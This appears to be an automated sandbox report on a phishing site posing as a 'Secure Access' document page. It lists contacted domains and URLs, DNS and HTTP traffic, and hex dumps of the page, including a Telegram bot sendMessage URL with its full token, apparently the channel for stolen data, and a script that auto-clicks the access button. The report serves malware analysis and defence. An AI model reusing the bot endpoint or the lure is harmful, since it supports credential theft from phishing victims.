Name	IP	Active	Malicious	Reputation
tb.gitcombust.shop	104.21.32.1	true	false	unknown
d26p066pn2w0s0.cloudfront.net	108.138.106.26	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
classntfst.shop	104.21.88.234	true	false	high
www.gravatar.com	192.0.73.2	true	false	high
www.google.com	142.251.40.164	true	false	high
tobyrender.koyuman.com	216.24.57.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
edge.railway.app	66.33.22.4	true	false	unknown
tfiles.jbones.com	76.76.21.21	true	false	high
api64.ipify.org	104.237.62.213	true	false	high
rail-bot-production.up.railway.app	unknown	unknown	false	high
logo.clearbit.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api64.ipify.org/?format=json	false		high
https://a.nel.cloudflare.com/report/v4?s=mvT5F14v2gdTNXoOW313y%2FTTCcN39z5Dv19gFgILO4ae4sSqKD6ugevUJY6%2BpN1c4or%2FTem3K49VIzO4c5N1BKfoFPaYDutOk2dXBmbjWUFv2IUGJmF7EyB6b3CG%2FDPC1gkig5U%3D	false		high
https://tb.gitcombust.shop/favicon.ico	false	Avira URL Cloud: safe	unknown
https://tfiles.jbones.com/_next/static/chunks/pages/_app-aea6920bd27938ca.js	true	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot8196319945:AAHPEcumR9n3hASIXg9IdmkX06UIxQbK5R4/sendMessage	false		high
https://tfiles.jbones.com/_next/static/chunks/framework-2c79e2a64abdb08b.js	true	Avira URL Cloud: safe	unknown
https://tfiles.jbones.com/_next/static/chunks/pages/index-2ab0a5a476940d05.js	true	Avira URL Cloud: safe	unknown
https://tfiles.jbones.com/_next/static/chunks/webpack-ee7e63bc15b31913.js	true	Avira URL Cloud: safe	unknown
https://www.gravatar.com/avatar/7b41fe8db265693c1a7c1fc0b44c3809?d=identicon	false		high
https://tobyrender.koyuman.com/api/get_doc_url	false	Avira URL Cloud: safe	unknown
https://tfiles.jbones.com/_next/static/eFfmITpsazxu2yW-tP9kw/_buildManifest.js	true	Avira URL Cloud: safe	unknown
https://tfiles.jbones.com/_next/static/chunks/main-de1ad41d606513c1.js	true	Avira URL Cloud: safe	unknown
https://rail-bot-production.up.railway.app/api/detect_bot	false		high
https://tb.gitcombust.shop/script.js	false	Avira URL Cloud: safe	unknown
https://tb.gitcombust.shop/cdn-cgi/challenge-platform/h/b/scripts/jsd/708f7a809116/main.js?	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=aw%2B99zw1xjGMz5RYHg2pjVCU2anpUKZ5yrsdGQRyhvj3a8yyaG6teTg%2FE8dng3b87EslB8M5%2FbqQ%2BgpxE3QOTdMDJYNV0eN9M3iWHAsw2w7BiLLGIQc%2FitlISoeAD5SdGAWlzwI%3D	false		high
https://classntfst.shop/tb/	false	Avira URL Cloud: malware	unknown
https://logo.clearbit.com/zec.org	false		high
https://tfiles.jbones.com/favicon.ico	true	Avira URL Cloud: safe	unknown
https://tfiles.jbones.com/_next/static/css/19d09a6113afa007.css	true	Avira URL Cloud: safe	unknown
https://tb.gitcombust.shop/	false		unknown
https://tfiles.jbones.com/	true		unknown
https://tfiles.jbones.com/background.jpg	true	Avira URL Cloud: safe	unknown
https://tb.gitcombust.shop/cdn-cgi/challenge-platform/scripts/jsd/main.js	false	Avira URL Cloud: safe	unknown
https://tb.gitcombust.shop/cdn-cgi/challenge-platform/h/b/jsd/r/0.6164777177526698:1743092970:QCCETUt4NsmcX-pp3-PDI47CWx4O_I35_jd12MnU9Z0/9270c368ea625e65	false	Avira URL Cloud: safe	unknown
https://tb.gitcombust.shop/styles.css	false	Avira URL Cloud: safe	unknown
https://tfiles.jbones.com/_next/static/eFfmITpsazxu2yW-tP9kw/_ssgManifest.js	true	Avira URL Cloud: safe	unknown
https://tfiles.jbones.com/_next/static/chunks/186-e401717d9e8b842b.js	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot	chromecache_91.2.dr	false		high
https://tbint.owa-wensglotii.top/	chromecache_91.2.dr	false	Avira URL Cloud: safe	unknown
https://api64.ipify.org?format=json	chromecache_78.2.dr, chromecache_91.2.dr	false		high
https://feross.org	chromecache_65.2.dr	false		high
https://vercel.live/_next-live/feedback/feedback.js	chromecache_89.2.dr	false		high
https://www.gravatar.com/avatar/	chromecache_91.2.dr	false		high
https://logo.clearbit.com/	chromecache_91.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.88.234	classntfst.shop	United States	13335	CLOUDFLARENETUS	false
108.138.106.63	unknown	United States	16509	AMAZON-02US	false
104.21.32.1	tb.gitcombust.shop	United States	13335	CLOUDFLARENETUS	false
216.24.57.1	tobyrender.koyuman.com	United States	397273	RENDERUS	false
192.0.73.2	www.gravatar.com	United States	2635	AUTOMATTICUS	false
108.138.106.26	d26p066pn2w0s0.cloudfront.net	United States	16509	AMAZON-02US	false
66.33.22.3	unknown	Canada	13768	COGECO-PEER1CA	false
66.33.22.4	edge.railway.app	Canada	13768	COGECO-PEER1CA	false
142.251.40.164	www.google.com	United States	15169	GOOGLEUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.21.112.1	unknown	United States	13335	CLOUDFLARENETUS	false
104.237.62.213	api64.ipify.org	United States	18450	WEBNXUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
76.76.21.21	tfiles.jbones.com	United States	16509	AMAZON-02US	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1650491
Start date and time:	2025-03-27 18:55:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://tb.gitcombust.shop/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal80.phis.troj.win@23/50@42/15

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, sppsvc.exe, RuntimeBroker.exe, ShellExperienceHost.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.81.238, 142.250.80.99, 172.253.63.84, 142.250.72.110, 142.250.64.106, 142.250.72.106, 142.250.80.10, 142.250.80.42, 142.250.80.74, 142.250.80.106, 142.250.176.202, 142.251.40.202, 142.251.40.234, 142.251.41.10, 172.217.165.138, 142.250.65.170, 142.250.65.202, 142.251.40.138, 142.251.40.170, 142.250.64.74, 142.251.40.163, 23.9.183.29, 204.79.197.222, 52.149.20.212
Excluded domains from analysis (whitelisted): fp.msedge.net, fs.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, accounts.google.com, redirector.gvt1.com, content-autofill.googleapis.com, slscr.update.microsoft.com, update.googleapis.com, clientservices.googleapis.com, clients.l.google.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://tb.gitcombust.shop/

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (57744)
Category:	downloaded
Size (bytes):	64992
Entropy (8bit):	5.454835624756822
Encrypted:	false
SSDEEP:	768:ok2S853vbYEfEA+pMTaiLD1UFvKM9MfNP/HmaF23zYT1PlipuAU3QgSv9AZitoP8:Db8lvbvTleifGwkMfNPeJmdiGSvQuF
MD5:	575C44CD8AFE1990210F891769BC660A
SHA1:	75B0609D9F1A9124ED4E27F3FBD232B8985E6B0F
SHA-256:	E2EFBA3AD9DEACFED91542891E1D8EB0859C0D47371A5A8E3809992320F7DAF6
SHA-512:	862619470AC49D0DC89F6FF3C1BB9AB7891DAA1A55E559F73E8B71559ACA1BE7130D3ECE4CCFFC5DDE98F9A70F96446BAD17E753677D096FEB21A7954416DA58
Malicious:	false
Reputation:	low
URL:	https://tfiles.jbones.com/_next/static/chunks/186-e401717d9e8b842b.js
Preview:	(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[186],{487:function(t){var e={utf8:{stringToBytes:function(t){return e.bin.stringToBytes(unescape(encodeURIComponent(t)))},bytesToString:function(t){return decodeURIComponent(escape(e.bin.bytesToString(t)))}},bin:{stringToBytes:function(t){for(var e=[],r=0;r<t.length;r++)e.push(255&t.charCodeAt(r));return e},bytesToString:function(t){for(var e=[],r=0;r<t.length;r++)e.push(String.fromCharCode(t[r]));return e.join("")}}};t.exports=e},1012:function(t){var e,r;e="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",r={rotl:function(t,e){return t<<e\|t>>>32-e},rotr:function(t,e){return t<<32-e\|t>>>e},endian:function(t){if(t.constructor==Number)return 16711935&r.rotl(t,8)\|4278255360&r.rotl(t,24);for(var e=0;e<t.length;e++)t[e]=r.endian(t[e]);return t},randomBytes:function(t){for(var e=[];t>0;t--)e.push(Math.floor(256*Math.random()));return e},bytesToWords:function(t){for(var e=[],r=0,n=0;r<t.length;r++,n+=8)e[n>>>5]\|=t[r]<<2

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 27, 2025 18:56:09.101829052 CET	53	64421	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:09.106992006 CET	53	60370	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:09.822336912 CET	53	54805	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:09.986848116 CET	53	58075	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:13.089462996 CET	49308	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:13.089657068 CET	50531	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:13.178318024 CET	53	49308	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:13.178338051 CET	53	50531	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:14.381505013 CET	55938	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:14.381630898 CET	59901	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:14.497391939 CET	53	59901	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:14.502609968 CET	53	55938	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:17.262000084 CET	52272	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:17.262373924 CET	61391	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:17.351008892 CET	53	52272	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:17.351422071 CET	53	61391	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:18.155910969 CET	60164	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:18.156189919 CET	63052	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:18.244405985 CET	53	60164	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:18.244431973 CET	53	63052	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:19.467540979 CET	63065	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:19.467540979 CET	58817	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:19.578510046 CET	53	63065	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:19.598757982 CET	53	58817	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:20.743336916 CET	59812	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:20.743561029 CET	54546	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:20.766805887 CET	57459	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:20.766963005 CET	57671	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:20.831463099 CET	53	59812	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:20.831542015 CET	53	54546	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:20.836210012 CET	55234	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:20.836435080 CET	54694	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:20.854998112 CET	53	57459	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:20.855040073 CET	53	57671	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:20.924292088 CET	53	55234	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:20.924417973 CET	53	54694	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:21.375288010 CET	63498	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:21.375494957 CET	63859	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:21.486227036 CET	53	63859	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:21.486615896 CET	53	63498	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:22.079557896 CET	59947	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:22.079756021 CET	58684	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:22.230165005 CET	53	58684	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:22.254425049 CET	53	59947	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:24.809150934 CET	53	51025	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:25.486887932 CET	49478	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:25.487394094 CET	59445	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:25.575198889 CET	53	49478	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:25.575445890 CET	53	59445	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:27.150985956 CET	53	64664	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:35.336241961 CET	53	63912	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:44.135008097 CET	61570	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:44.135209084 CET	53143	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:44.135509968 CET	62078	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:44.135756016 CET	63066	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:44.223741055 CET	53	62078	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:44.224360943 CET	53	63066	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:44.234783888 CET	53	61570	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:44.238991022 CET	53	53143	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:44.923618078 CET	59450	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:44.923784018 CET	49672	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:44.925431967 CET	57860	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:44.925688982 CET	56966	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:45.011979103 CET	53	59450	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:45.012008905 CET	53	49672	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:45.013503075 CET	53	57860	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:45.013729095 CET	53	56966	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:46.069176912 CET	53	54113	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:47.633739948 CET	53	50522	162.159.36.2	192.168.2.4
Mar 27, 2025 18:56:56.458209038 CET	61616	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:56.458534002 CET	50059	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:56.546674013 CET	53	61616	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:56.546730995 CET	53	50059	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:57.192919970 CET	56924	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:57.193069935 CET	52665	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:57.193370104 CET	59833	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:57.193510056 CET	53871	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:57.281843901 CET	53	59833	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:57.281900883 CET	53	53871	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:57.286690950 CET	53	56924	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:57.298609972 CET	53	52665	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:58.615202904 CET	61346	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:58.619210005 CET	63806	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:58.683343887 CET	55738	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:58.683656931 CET	54410	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:56:58.771234035 CET	53	61346	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:58.771637917 CET	53	55738	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:58.771682978 CET	53	54410	1.1.1.1	192.168.2.4
Mar 27, 2025 18:56:58.824824095 CET	53	63806	1.1.1.1	192.168.2.4
Mar 27, 2025 18:57:08.393310070 CET	53	57970	1.1.1.1	192.168.2.4
Mar 27, 2025 18:57:08.959320068 CET	53	49672	1.1.1.1	192.168.2.4
Mar 27, 2025 18:57:15.846292019 CET	138	138	192.168.2.4	192.168.2.255
Mar 27, 2025 18:57:17.277571917 CET	60229	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:57:17.277721882 CET	55428	53	192.168.2.4	1.1.1.1
Mar 27, 2025 18:57:17.365993977 CET	53	60229	1.1.1.1	192.168.2.4
Mar 27, 2025 18:57:17.366056919 CET	53	55428	1.1.1.1	192.168.2.4

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:56:14 UTC	668	OUT	GET / HTTP/1.1 Host: tb.gitcombust.shop Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:56:15 UTC	1004	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 17:56:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cf-Ray: 9270c368ea625e65-EWR Server: cloudflare Cf-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Last-Modified: Wed, 26 Feb 2025 14:51:31 GMT Content-Md5: HpRQ9QgNu+gcm1rfSWWkcA== X-Frame-Options: DENY X-Ms-Request-Id: 38254ea3-001e-0000-1041-9ff8e0000000 X-Ms-Version: 2018-03-28 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pFXhjiOE%2FWWegu9ApS4lVPqhEqy7EVnb7EaFFEiTBsrJ3XK%2FxLV%2Bay8cefUv7SXQW3LY9FT%2B6n99cn8VOFUbyukaXZkk9mdsQ3j0KbFO5%2F9uJEyxaP0I8JmLU4MnTbwrYN3GkLs%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=88835&min_rtt=88527&rtt_var=18961&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2840&recv_bytes=1240&delivery_rate=34503&cwnd=252&unsent_bytes=0&cid=b9eae7b25bae31b7&ts=790&x=0"
2025-03-27 17:56:15 UTC	365	IN	Data Raw: 63 32 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 65 63 75 72 65 20 41 63 63 65 73 73 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 73 74 79 6c 65 73 2e 63 73 73 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 20 20 20 Data Ascii: c20<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Secure Access</title> <link rel="stylesheet" href="styles.css"></head><body>
2025-03-27 17:56:15 UTC	1369	IN	Data Raw: 22 6c 6f 67 6f 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 76 67 20 77 69 64 74 68 3d 22 38 30 22 20 68 65 69 67 68 74 3d 22 38 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 31 34 20 32 48 36 43 34 2e 39 20 32 20 34 20 32 2e 39 20 34 20 32 30 43 34 20 32 31 2e 31 20 34 2e 39 20 32 32 20 36 20 32 32 48 31 38 43 31 39 2e 31 20 32 32 20 32 30 20 32 31 2e 31 20 32 30 20 32 30 56 38 4c 31 34 20 32 5a 22 20 66 69 6c 6c 3d 22 23 30 30 37 38 44 34 22 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: "logo"> <svg width="80" height="80" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg"> <path d="M14 2H6C4.9 2 4 2.9 4 20C4 21.1 4.9 22 6 22H18C19.1 22 20 21.1 20 20V8L14 2Z" fill="#0078D4"/>
2025-03-27 17:56:15 UTC	1369	IN	Data Raw: 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 61 63 63 65 73 73 42 74 6e 20 26 26 20 61 63 63 65 73 73 42 74 6e 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 3d 3d 20 22 62 6c 6f 63 6b 22 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 e2 9c 85 20 41 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 63 6c 69 63 6b 69 6e 67 20 74 68 65 20 62 75 74 74 6f 6e 2e 2e 2e 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 63 63 65 73 73 42 74 6e 2e 63 6c 69 63 6b 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6f 62 73 65 72 76 65 72 2e 64 69 73 63 6f 6e 6e 65 63 74 28 29 3b 20 2f 2f 20 53 74 6f 70 20 6f 62 73 65 72 76 69 6e 67 Data Ascii: ); if (accessBtn && accessBtn.style.display === "block") { console.log(" Automatically clicking the button..."); accessBtn.click(); observer.disconnect(); // Stop observing
2025-03-27 17:56:15 UTC	8	IN	Data Raw: 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: tml>
2025-03-27 17:56:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-27 17:56:15 UTC	552	OUT	GET /styles.css HTTP/1.1 Host: tb.gitcombust.shop Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://tb.gitcombust.shop/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 17:56:15 UTC	1084	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 17:56:15 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close CF-Cache-Status: HIT Access-Control-Allow-Origin: * Age: 860 Cache-Control: max-age=14400 ETag: W/"0x8DD56750EB945B2" Last-Modified: Wed, 26 Feb 2025 14:51:31 GMT Vary: Accept-Encoding Content-MD5: XhpBsINOUeRdMYEYdYeySw== X-Frame-Options: DENY x-ms-request-id: 4b79c423-b01e-0015-1e2c-9fef53000000 x-ms-version: 2018-03-28 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mKc3cqHFT15Ydh6u91RIQ7sHV4MSEuBFxr6IMsLlHNowW9I1ZzXVOSbPqrwsSnjFg5KIYvA%2F0OkpQdn0cIdtgnvd9wMQM1apDwBSkqYjCI8hcgGVDEZN47LeHPHVECJUrmfzJLI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9270c36d38990f87-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=88959&min_rtt=88893&rtt_var=18854&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1124&delivery_rate=34303&cwnd=252&unsent_bytes=0&cid=78c6ef30a91b54b1&ts=1315&x=0"
2025-03-27 17:56:15 UTC	285	IN	Data Raw: 36 38 35 0d 0a 62 6f 64 79 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 35 30 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 39 66 39 66 39 3b 0d 0a 7d 0d 0a 0d 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 36 30 30 70 78 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 61 75 74 6f 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 32 30 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 38 70 78 3b Data Ascii: 685body { font-family: Arial, sans-serif; text-align: center; padding: 50px; background-color: #f9f9f9;}.container { max-width: 600px; margin: auto; padding: 20px; background: white; border-radius: 8px;
2025-03-27 17:56:15 UTC	1369	IN	Data Raw: 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 29 3b 0d 0a 7d 0d 0a 0d 0a 68 31 20 7b 20 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 20 0d 0a 7d 0d 0a 0d 0a 70 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 35 35 35 3b 0d 0a 20 20 20 20 74 72 61 6e 73 69 74 69 6f 6e 3a 20 6f 70 61 63 69 74 79 20 30 2e 35 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 20 2f 2a 20 e2 9c 85 20 53 6d 6f 6f 74 68 20 66 61 64 65 2d 6f 75 74 20 2a 2f 0d 0a 7d 0d 0a 0d 0a 2e 68 69 64 64 65 6e 20 7b 0d 0a 20 20 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 0d 0a 20 20 20 20 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 20 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 2e 70 72 6f 67 72 65 73 73 2d 63 6f 6e 74 61 69 6e 65 Data Ascii: rgba(0, 0, 0, 0.1);}h1 { color: 